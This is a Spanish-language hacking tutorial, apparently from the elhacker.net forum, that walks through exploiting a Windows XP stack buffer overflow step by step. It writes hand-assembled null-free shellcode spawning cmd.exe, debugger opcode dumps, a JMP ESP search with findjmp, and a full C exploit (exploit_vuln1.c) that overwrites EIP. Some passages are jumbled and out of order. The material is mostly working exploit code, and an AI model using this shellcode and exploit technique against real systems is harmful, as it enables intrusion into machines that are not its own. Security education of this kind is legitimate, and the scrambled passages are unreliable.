(funciones.exe"... .. como en Linux y derivados. y petara :) Un bonito overflow de pila.exe--> "cmd. y luego saber su dirección en la propia pila. push 'd'. Cualquier función que trabaje con cadenas.

push edi <--. con lo que apuntara "mas arriba". por ejemplo.Necesitamos meter "cmd."sustrae" a ESP 04h bytes. opcionalmente. Así que no puede haber nulos en la shellcode (0x00).. retornos de carro (0x0D). //declaramos un array de 10bytes char cadena[10]= "lola\0wop".Metemos la dirección de 'cmd.exe push eax <-. perfecto :) 2º. usando la función XOR (OR exclusivo). sub esp. EDI y PUSH EDI en hexadecimal no contienen ningún 0 en hexadecimal.. Strcpy() solo copiara "lola" en buffer.6Dh [ebp-06h]. así como "mas cosas" según lo que acepte el programa vulnerable. como al encriptación XOR que se empezo a usar en virus. ni.[ebp-08h] <--. ya que ha detectado un \0 (NULL)..exe" en la pila y saber la dirección del inicio de la cadena "cmd. Cuando a un valor se le hace un XOR consigo mismo. EDI será igual a 00000000.exe' en la pila Utilizamos direcciones "relativas" como ebp-7bytes.63h [ebp-07h]. Un programa que tiene un overflow al abrir un archivo de Windows muy largo tendrá la dificultad que la shellcode no podrá contener caracteres que Windows no permite en los nombres de fichero.3º.04h <--. para que la shellcode sea bastante reutilizable.Necesitamos la dirección de la función System() en la DLL msvcrt.dll Así que iremos punto por punto para hacer nuestra shellcode básica :) -== COMO HACER UNA SHELLCODE BASICA ==1º El tema del nulo (null) Pongamos este ejemplo. pero si en la pila? Muy fácil.65h <-<-<-<-<-<-<-Mete Mete Mete Mete Mete Mete Mete 'c' 'm' 'd' '.exe (ya teniamos 4bytes.cargamos en eax.2Eh [ebp-04h]. la dirección (NO el valor) de ebp-08. el inicio de cmd.65h [ebp-03h]. //declaramos otro que contiene ese string.64h [ebp-05h]. Si quereis mas información sobre XOR (y sus diversas funciones respecto a una shellcode.) google :) xor edi. ¿Como la hacemos para que no haya nulos en los opcodes.78h [ebp-02h].exe" en la pila. muy interesantes. da 0. Las direcciones de la pila son muy variables. que significa FIN DE CADENA.edi <-.He usado EDI por ejemplo.Metemos 00000000 en la pila Ya tenemos un "0" en la pila. en codigo C: char buffer[10]. que apunta a nuestra 'c'. con lo que .' 'e' 'x' 'e' en en en en en en en hexadecimal en ebp-8bytes ebp -7 ebp -6 ebp -5 ebp -4 ebp -3 ebp -2 lea eax. strcpy (buffer. dejándonos 4bytes mas para meter cmd. pero los opcodes de XOR EDI.. ahora 8bytes) mov mov mov mov mov mov mov byte byte byte byte byte byte byte ptr ptr ptr ptr ptr ptr ptr [ebp-08h]. cadena) // copiamos cadena dentro de buffer.

return 1.php/topic.h> typedef VOID (*MYPROC)(LPTSTR).dirección de System() en la DLL msvcrt. printf ("Por ejemplo %s msvcrt. y las DLLs sean distintas). MYPROC procadd. Win XP. argv[1]. int main (int argc.sizeof(dll)).elhacker. printf ("y como segundo argumento la función dentro de esa DLL\n"). libreria = LoadLibrary(dll). además de que solo tratamos de crear una shellcode simple y que funcione. char **argv) { char dll[100]. memset(funcion. Se puede buscar dicho offset de system() "a mano" con un debugger. char función[100].. solo necesitamos la dirección de system() 3º.\n"). Introduce como primer argumento el nombre de la DLL.0. .funcion). Pero.56137.0.. ver a donde apunta el Call msvcrt.html Pero por si no lo queréis buscar. simplemente creando por ejemplo un código C donde se llame a system() y luego en el debugger. strlen(argv[1])). memcpy (dll.sizeof(funcion)). } memset(dll. los mismos SPs. saber que la dirección de system (y de cualquier otra API) se puede sacar en tiempo de ejecución. procadd = (MYPROC)GetProcAddress (libreria. haciendo la shellcode completamente universal.no conviene usar direcciones absolutas. memcpy (funcion. Lo podéis encontrar aquí: http://foro.. el mismo lenguaje. como soy vago :) He medio codeado un mini programa que te dice el offset de cualquier función en cualquier dll. HINSTANCE libreria.dll system\n\n".. etc.system. argv[2]. printf ("Busca offsets xDD.h> #include <windows. Se puede crear una shellcode (no es muy difícil. if (argc != 3){ printf ("Introduce 2 argumentos como se explica mas arriba!!!\n"). alguna dirección absoluta usamos :P Ya lo veremos.. argv[0]). dirección fija) pero no lo trataremos aquí ya que esto se alargaría bastante. De todas formas.dll Esta dirección (u offset) variara debido a la versión (Win2k. De todas formas. hay varios métodos) que no se sirva de ninguna dirección "harcodeada" (es decir..net/index.0. etc. lenguaje del SO y cualquier otra cosa que modifique las DLLs del sistema (puede ocurrir que dos personas tengan el mismo SO. strlen(argv[2])).) así como a los service packs instalados.exe\00 en la pila. Ya están la cadena cmd.. os pongo el código C: #include <stdio.

tenemos que "cargar" la librería msvcrt.printf ("Offset de %s en la DLL %s es %x".dll").65h . así que no lo trataremos. como msvcrt. Veamos el código completo de la shellcode.65h mov byte ptr [ebp-03h]. una vez sacado el offset. Y aunque no cargaran ninguna. después de codearlo. y a través de kernel32.dll podemos buscar los offsets de LoadLibrary (para cargar la librería DLL que queramos) así como GetProcAddress(para saber la dirección de la función o API dentro de la librería cargada). al tratar de ejecutar la shellcode. Lo metemos en un código C para poder probarlo (en vez de buscar un compilador como NASM o TASM) ya que es mas "fácil". Simplemente me lo he codeado.h> int main () { LoadLibrary("msvcrt. me dado cuenta que hay varios códigos por ahí que hacen lo mismo. por codear xDDD.6Dh mov byte ptr [ebp-06h]. funcion.Todo esto a través de la shellcode. Ya tenemos el offset :) mov ebx. ya que nos valemos de ella para llamar a system. __asm{ push ebp mov ebp. en un Windows XP SP1 es 77bf8044. Además. procadd). } Ojo. Bien. hay que guardarlo en un registro.Llamamos a system y ejecuta nuestra shellcode :) Nota: no se puede hacer directamente un call 0x77bf8044. Pero eso se sale de una shellcode "simple". Al lio. y luego llamar al registro.63h mov byte ptr [ebp-07h].dll (las cargan todos los ejecutables).Metemos en ebx el valor del offset de system.dll no esta en la tabla de importaciones del ejecutable.edi push edi sub esp. dll. con lo que nos podremos valer de ellas.esp xor edi.2Eh mov byte ptr [ebp-04h].dll y ntdll.78h mov byte ptr [ebp-02h]. este es el código C: #include <stdio.0x77bf8044 <-. Normalmente. sabe hacer este código. dentro de un código C.04h mov byte ptr [ebp-08h]. los programas vulnerables que "petemos" cargaran numerosas librerías.64h mov byte ptr [ebp-05h]. en un Win XP SP1 es 77bf8044 call ebx <-.h> #include <windows. no la podríamos usar.dll en este mini programita. además de que cualquier programador que haya trabajado con APIs de Windows. tiene que cargar por fuerza kernel32. Si no la cargáramos. así es como se realizan las shellcodes "universales". return 0.

. veis que el "opcode" de un PUSH EAX es '50'. Bien. FF30 PUSH DWORD PTR DS:[EAX] 004012E7 |.&msvcrt. Lo único que hace es salvar el ebp actual. lo mas fácil es meterla en el Olly.8 es '83EC 08'. 8D45 B8 LEA EAX. y ejecutamos el exe. pero vamos. En este caso es necesario. y crear una nueva "pila" al mover el valor de esp en ebp. y copiarlos en una libreta (al menos así lo hago yo con shellcodes cortas :P). pero yo lo haré a mano :) Obviamente. Se explican en numerosos documentos (entre ellos. y te los printeen por pantalla ordenaditos y tal.00401280 . 83C4 10 ADD ESP.10 004012DA |. Para ver los opcodes de nuestra shellcode hay varios métodos..10 . ya que Dev Cpp trabaja con ASM AT&T. . todo lo que "sale" por el olly no es nuestra shellcode. 8B45 0C MOV EAX.DWORD PTR SS:[EBP+C] 004012E2 |.printf> 004012D7 |.&msvcrt. lo tendréis que compilar en VISUAL C++ o otro equivalente que trabaje con ASM Intelx86. veremos que el programa funciona :) Sale una shell MSDOS. \printf "Introduzca un argumento al programa" 004012D2 |. . 83C0 04 ADD EAX.0x77bf8044 call ebx } } Este código NO FUNCIONA en el compilador Dev Cpp. ya que el programa que tratemos de explotar tendrá la pila lista para introducir nuestra shellcode. . E8 50170000 CALL <JMP. pero es más que probable que en un exploit "real" no lo necesitemos.DWORD PTR SS:[EBP-48] 004012EA |.4 004012E5 |. en documentos de ezines españolas muy recomendables de leer. son . Las instrucciones: push ebp mov ebp. pero ¿como "metemos" esta shellcode en el programa vulnerable? A través de sus opcodes hexadecimales. y verlos directamente.[ebp-08h] push eax mov ebx. /src | |dest \strcpy Por ejemplo.004012F3 004012DC |> 83EC 08 SUB ESP. mucho mas complicado y coñazo (para mi). 50 PUSH EAX 004012EB |. por ejemplo en uno de RaiSe de Net-Search) como hacer programitas que lean los opcodes. E8 79170000 CALL <JMP. o que el de un SUB ESP.8 004012DF |.. 68 80124000 PUSH vuln1. Si lo compilamos. 83C4 10 ADD ESP.strcpy> 004012F0 |. /format = .exe: 004012CD |. la "conversión" de instrucción ASM a hexadecimal.lea eax. Esto ya lo vimos al meter en el olly el programita vuln1.esp Sirven para "crear" y mantener un espacio en la pila para nuestras variables. EB 17 JMP SHORT vuln1.

y vemos que el compilador ha añadido instrucciones por debajo y por arriba (lo dicho. Aquí esta la shellcode: 0040B4EC |.LoadLibrar>. Y ya vemos nuestra shellcode. 5B 0040B51F |.78 MOV BYTE PTR SS:[EBP-2].. 83EC 04 0040B4F5 |. 8BEC 0040B4EF |. C645 FA 64 0040B501 |. C645 FE 65 0040B511 |. También podemos hacerlo buscando una instrucción de nuestra shellcode (por ejemplo. 5D 0040B52C \. control de excepciones.).65 MOV BYTE PTR SS:[EBP-3]. Yo la que he usado.4 MOV BYTE PTR SS:[EBP-8]. 55 PUSH EBP <---.. Abajo del todo (en mi caso) estaba msvcrt..DWORD PTR SS:[EBP-8] PUSH EAX MOV EBX.EBP POP EBP RETN "Caemos" justo arriba. FFD3 0040B51C |. E8 475BFFFF 0040B529 |. clickear 2 veces. es mirar la tabla de string references. FF15 5C414200 \LoadLibraryA 0040B4E5 |. 83C4 40 0040B522 |. la tabla donde se guardan las cadenas de texto y ver donde esta "msvcrt.. salida del programa. C645 FD 78 0040B50D |.65 LEA EAX.. Bueno. /FileName CALL DWORD PTR DS:[<&KERNEL32. 33FF 0040B4F1 |.Aquí empieza nuestra MOV EBP.. compatibilidad msdos.2E MOV BYTE PTR SS:[EBP-4]. Para ver las string references. C3 PUSH OFFSET pruebash. clik botón derecho. 83EC 04. CMP ESI. Si queremos buscar nuestra shellcode dentro del ejecutable.__chkesp PUSH EBP <---. etc. 50 0040B515 |. etc.63 MOV BYTE PTR SS:[EBP-7].??_C@_0L@CMOK@msvcr>. C645 FB 2E 0040B505 |.__chkesp MOV ESP. control básico de errores.instrucciones que añade el compilador para que funcione perfectamente. 8D45 F8 0040B514 |. 5E 0040B51E |. 3BEC 0040B524 |. mas cómoda. 8BE5 0040B52B |.6D MOV BYTE PTR SS:[EBP-6].EDI PUSH EDI SUB ESP. compatibilidad. Search for -> All refenced strings. BB 4480BF77 0040B51A |. en FileName=msvcrt. 5F 0040B51D |. vamos al código (al hacer lo de string references): 0040B4DA |..ESP XOR EDI. 68 3CFF4100 = "msvcrt.dll" 0040B4DF |. C645 F8 63 0040B4F9 |.dll"). C645 FC 65 0040B509 |. SUB ESP.dll.ESP CALL pruebash. pero no nos importa.40 CMP EBP.64 MOV BYTE PTR SS:[EBP-5].dll" (es una cadena de texto introducida por nosotros en el programa). 3BF4 0040B4E7 |. 55 shellcode 0040B4ED |.ESP CALL pruebash.4) o simplemente corriendo el programa paso a paso (algo lento :P). C645 F9 6D 0040B4FD |. y me lleva directamente al código del LoadLibrary ("msvcrt.dll.Aqui acaba nuestra shellcode POP EDI POP ESI POP EBX ADD ESP.Aquí empieza nuestra shellcode .77BF8044 CALL EBX <--. 57 0040B4F2 |. E8 845BFFFF 0040B4EC |. podemos hacerlo de varias maneras.

o un Copy-Paste a un archivo de texto. En vez de mandar al programa AAAAAAAAAAAAAAAs. para así poder cambiarlo por la dirección de la shellcode. para no enrollarme.. los copiamos a una libreta a mano.77BF8044 CALL EBX <--. Sabemos que por ejemplo A = 41h (41 hexadecimal. Pero. |. Simplemente. Si os fijáis. |.. le mandaremos AAAABBBBCCCCDDDD. o usamos algun programa que nos la printee por pantalla. Si le metemos al programa esto (a través del Olly.Aqui acaba nuestra shellcode Y vemos los opcodes.ESP XOR EDI.. Arguments) AAABBBBCCCCDDDD. google -> little endian :) Bien. A no ser que dispongamos de un Alpha o un Sparc en casa. Si queréis mas información. etc.DWORD PTR SS:[EBP-8] PUSH EAX MOV EBX. tenemos los opcodes de nuestra shellcode :). pero hay otros que están fuera de la tabla ASCII. es decir.63 MOV BYTE PTR SS:[EBP-7]. si fuera 41d. .) es LITTLE ENDIAN. al meter un offset. seria 41 en decimal). a mogollón. |.. y además. |. |. veréis que esta la dirección del offset de System() (77BF8044) pero AL REVES. |..¿Como sabemos la dirección del inicio de la shellcode para sobrescribir EIP con su valor? Para saber donde sobrescribimos EXACTAMENTE EIP. |.65 LEA EAX.65 MOV BYTE PTR SS:[EBP-3]. con lo que un 50h = P o 6Dh = m. |. |.. |. |.. Así sabremos donde exactamente sobrescribe el RET. y que nadie lo hace xD.6D MOV BYTE PTR SS:[EBP-6].4 MOV BYTE PTR SS:[EBP-8]. 8BEC 33FF 57 83EC 04 C645 F8 63 C645 F9 6D C645 FA 64 C645 FB 2E C645 FC 65 C645 FD 78 C645 FE 65 8D45 F8 50 BB 4480BF77 FFD3 MOV EBP. donde meter la dirección de la shellcode. |.2E MOV BYTE PTR SS:[EBP-4].64 MOV BYTE PTR SS:[EBP-5]. nos manejaremos en Little Endian a la hora de direcciones y offsets.78 MOV BYTE PTR SS:[EBP-2]. Esto es debido a que la arquitectura de nuestros Intelx86 o derivados (AMD. Deberíamos tener algo así: 55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3 Estos son los opcodes. lo tenéis que meter "al revés".. |. usaremos una técnica especial xDDDD.EDI PUSH EDI SUB ESP. |. ¿como sabemos la dirección del inicio de la shellcode para poder sobrescribir EIP con su valor? ¿Como haremos para que el programa funcione siempre si las direcciones de la pila varían? ¿Y como le pasamos al programa vulnerable la shellcode? -== CREANDO EL EXPLOIT ==Vamos a crear el exploit :) ...0040B4ED 0040B4EF 0040B4F1 0040B4F2 0040B4F5 0040B4F9 0040B4FD 0040B501 0040B505 0040B509 0040B50D 0040B511 0040B514 0040B515 0040B51A |. meter así los opcodes es un coñazo..

es que en la pila las direcciones contienen un 00 --> 0022XXXX (a diferencia de Linux) con lo que no podemos hardcodear la dirección de la pila. tendríamos 2 problemas: La pila cambia muchísimo según las aplicaciones que estén en ejecución. como ya he dicho. y mas aun cambiara en otros sistemas. y "caería" donde apunta ESP. con FINDJMP. y ver los EXECUTABLE MODULES. en TTTT. ¿No os da una idea? Si consiguiéramos que EIP "saltara" a una dirección de memoria que contuviera un JMP ESP (salto a ESP) o un CALL ESP (llamada a ESP) y en vez de tener 55555555 tuviéramos los opcodes de nuestra shellcode.. Pero si habéis visto lo anterior.¿Como haremos que el programa funcione siempre si las direcciones de la pila varían? Si metiéramos directamente la dirección de la shellcode en la pila (una dirección del tipo 0022XXXX). con lo que no funcionara salvo en nuestro propio ordenador. un programita realmente útil. F:\Rojodos>findjmp kernel32. ejecutaría el JMP ESP. podemos cargar el programa vulnerable en el Ollydbg. .Veremos que peta exactamente en 54545454. Y el otro problema.. donde debe ir la dirección de la shellcode que "cojera" EIP y ejecutara nuestra shellcode. Ya sabemos dentro del buffer. pero ESP apunta a 55555555. en 55555555. aunque también podríamos usar cualquier librería que cargara el programa ejecutable (para ver eso. la prueba de AAAABBBBCCCCDDDD. instrucciones referidas al registro que queramos. por lo que se ejecutaría. es decir.1.dll for code useable with the esp register 0x77E81941 call esp . El findjmp lo encontrareis en el foro de elhacker.net :) Por ejemplo. (hacedlo de nuevo). Si usáramos el findjmp así: Microsoft Windows XP [Versión 5. fijaos en la pila cuando se produce la excepción: 0022FF74 54545454 <.dll esp Scanning kernel32.2600] (C) Copyright 1985-2001 Microsoft Corp. EIP ha cogido el valor de 54545454.dll y ntdll. todo programa ejecutable carga kernel32. y ahí vienen las DLLs que carga).ESP= 0022FF78 0022FF7C 56565656 Si os fijáis. EIP cogería esa dirección. SE EJECUTARIA NUESTRA SHELLCODE!!!! Vamos paso a paso :) En vez de 54545454 hay una dirección de una instrucción de un JMP ESP.dll. es decir. que lo cambiaríamos por nuestra shellcode. Y como buscamos una dirección de un JMP ESP o un CALL ESP? En una DLL que cargue el programa vulnerable. Dicho programita.EIP ha tratado de ejecutar lo que hay en la dirección 54545454 (EIP = 54545454) 0022FF78 55555555 <. buscara en la DLL que le digamos.

y un bruteforce.SSSS (para llenar el buffer) + offset JMP ESP + shellcode..2600] (C) Copyright 1985-2001 Microsoft Corp. offsets aproximados de direcciones de la pila.... De todas formas. y es un CALL ESP.char **argv) { //Declaramos argv para usarlo con el execv .h> // Entrada/Salida #include <stdlib. Podríamos pasarle la shellcode en caracteres printeables por los argumentos. de sus argumentos. SP. no se llama a un JMP ESP. F:\Rojodos>findjmp ntdll. como ya dije. en el programa incluiré un printf() para que veáis como son. pero para explotación en sistemas Linux si que hay mucha mas documentación..1. pero eso es un coñazo.Como le pasamos al programa la shellcode Ya tenemos la dirección del JMP ESP. preferimos mejor un JMP ESP (un call siempre guarda en la pila. si hay ganas. si no que se usa..Finished Scanning kernel32. que llamara al programa pasándole los datos de la shellcode por parámetro. mejor que no. porque primero tendríamos que convertir esos opcodes a su equivalente en la tabla ASCII (algunos no están :P) y luego copy paste. NOPs (instrucciones ASM que NO EJECUTAN NADA. su instrucción anterior. simplemente pasan a la siguiente instrucción). así nos libramos de convertir los opcodes. Solo nos queda precisamente enviarle al programa vulnerable AAAABBBB.dll.dll for code useable with the esp register Found 2 usable addresses Ya tenemos un JMP ESP en la librería ntdll.. lenguajes. es decir..dll esp Scanning ntdll. sabemos con que valor tenemos que sobrescribir el RET para que se ejecute el programa. y en español incluso. el offset cambiara según versiones del Windows. se hará otro manual. Esto es en mi Windows XP SP1.h> // execv() int main (int argc..). Mejor nos codeamos un "exploit" en C. y eso nos puede fastidiar la shellcode. ¿Como lo hacemos? El programa vulnerable recibe los datos que hacen el overflow a través de la línea de comandos. en la forma BÁSICA de explotación. Eso.dll for code useable with the esp register 0x77F7AC16 call esp 0x77F8980F jmp esp Finished Scanning ntdll.. en el offset 0x77F8980F. . Mejor buscamos un JMP ESP: Microsoft Windows XP [Versión 5.. no no. En Linux no se hace así.dll for code useable with the esp register Found 1 usable addresses Vemos que solo hay una instrucción que use el registro ESP. /* exploit_vuln1.c por Rojodos */ #include <stdio.

evilbuffer). a través del programa exploit_vuln1. //Shellcode que ejecuta system("cmd. no creo que haya ningún problema. con la llamada a system harcodeada //en \x44\x80\xBF\x77 0x77BF9044 char offset[]="\x0F\x98\xF8\x77". argv[0] = "vuln1". por simplicidad.dll WinXP SP1 Esp strcat(evilbuffer. programando y mas programando :) Los dos exploits públicos que he escrito.1 Stack Overflow están basados en este documento.exe.char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN" "OOOOPPPPQQQQRRRRSSSS". :P Espero que os haya gustado el documento. saltara una shell MSDOS :) Hemos explotado con éxito el programa vuln1.08 Stack Overflow y el de Acrobat Reader 6.exe. printf ("%s". No lo he probado en más compiladores. podría haber creado dichos . el nombre del vuln1 argv[1] = evilbuffer. es decir. //Definimos el argumento2. pero me he valido de argv[] para no marear las cosas. //Concatenamos a evilbuffer el offset del jmp esp strcat(evilbuffer. y crear exploit_vuln1. aparte de leer docs y mas docs. Al compilarlo. // Offset jmp esp ntdll32. //Ejecutamos vuln1.0. porque no metemos mas argumentos execv ("vuln1.exe. el argumento de vuln1 argv[2] = NULL. el del Winamp 5. Cualquiera que lea y comprenda este documento. si lo ejecutamos. //Definimos el argumento1. y que os ayude a. // Apunta a 0. La única función que podría dar problemas es execv. o sea.shellcode). //Para llegar el buffer y llegar al ret char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63" "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD" "\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3". es programando.offset). y *debería* compilar en cualquier otro compilador de Windows (y de Linux). La mejor forma de aprender. primero. //Concatenamos a evilbuffer+offset la shellcode printf ("Cadena + offset + shellcode en formato printable\n\n"). Espero que no me cuelgen por eso :P Este exploit compila perfectamente en Dev Cpp. entender los stack overflows. a crear vuestros propios exploits básicos.argv). pero en teoría es compatible con Windows.exe").exe".exe pasándole evilbuffer como argumento } Nota para los programadores :P Tendría que haber creado una estructura de punteros para usarlo en el execv. y luego.

hackemate. Agradecimientos a todos los colaboradores y moderadores. SET.php/topic. Hackxcrack. que nos aporte lo que ha aprendido e investigado :) Abstracto es mas tonto de lo que aparenta. pero estos son los que he considerado importantes :) Gran Recopilación de textos sobre el tema.se/dl/papers/intro_to_shellcoding. 7a69. google! -== AGRADECIMIENTOS ==Hecho para el foro de elhacker.net.phrack. Así que como veis.com.hackemate.ar/ezines/netsearch/ns007/ns7-0x04. que ya es decir xDDDDDDDDDDDDDD (no podía dejar de ponerlo xDD) Y a ELLA.ar/ezines/netsearch/ns007/ns7-0x03. a NetSearch. en este caso. Hay MUCHOS más.pdf Lastima de Phrack :( Y por supuesto.txt Introducción al shellcoding (Linux) http://tigerteam. yo.html Phrack.txt NetSearch. Ishtar :) Rojodos .com.org/phrack/55/P55-15 Phrack.49765.0. Cyruxnet. Rojodos. pero haciendo referencia en los créditos al autor.net Aún así.exploits. por Griph: http://foro. y cualquier pregunta será mejor que recibida en el foro de elhacker.elhacker. Shellcodes + Overflows Win32 (2) http://www.rojodos2[at]yahoo[dot]es . Shellcodes + Overflows Win32 (1) http://www. Avances en Windows Shellcoding http://www. 29A. se permite la distribución del texto en cualquier sitio web.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.net/index.elhacker.net :) Y si no. buscar tanto por la web como por el foro de elhacker.txt NetSearch. Win32 Buffer Overflows http://www.phrack. -== DOCUMENTACION ==Documentos importantes mucho mejor redactados y completos que el mío :P (exploits y stack overflows en Windows o shellcoding en general). no tiene ningún misterio :) No dejéis de practicar. y a cualquier persona en el mundo que se interese y escriba sobre la seguridad informática.net :) http://foro. y al administrador. aprendiendo cada día de ellos :) A todos los españoles que colaboran en la seguridad y el hacking.

_EOF_ .